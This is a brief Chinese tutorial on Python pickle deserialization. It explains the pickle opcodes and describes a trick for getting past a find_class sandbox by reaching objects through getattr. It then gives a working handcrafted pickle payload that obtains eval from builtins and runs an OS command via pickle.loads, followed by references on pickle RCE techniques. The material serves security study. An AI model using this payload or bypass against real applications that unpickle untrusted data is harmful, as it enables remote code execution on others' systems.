基础介绍
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)
(:压入一个标志到栈中,表示元组的开始位置
t:从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R:从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p:将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
V、S:向栈顶压入一个(unicode)字符串
.:表示整个程序结束
示例介绍
data = b"""cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("dir")'
tR.
"""
data = pickle.loads(data)
print(data)
对应的执行的内容为:
参考链接
从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势
Python Pickle的任意代码执行漏洞实践和Payload构造(勾陈实验室)
P神
Python反序列化漏洞的花式利用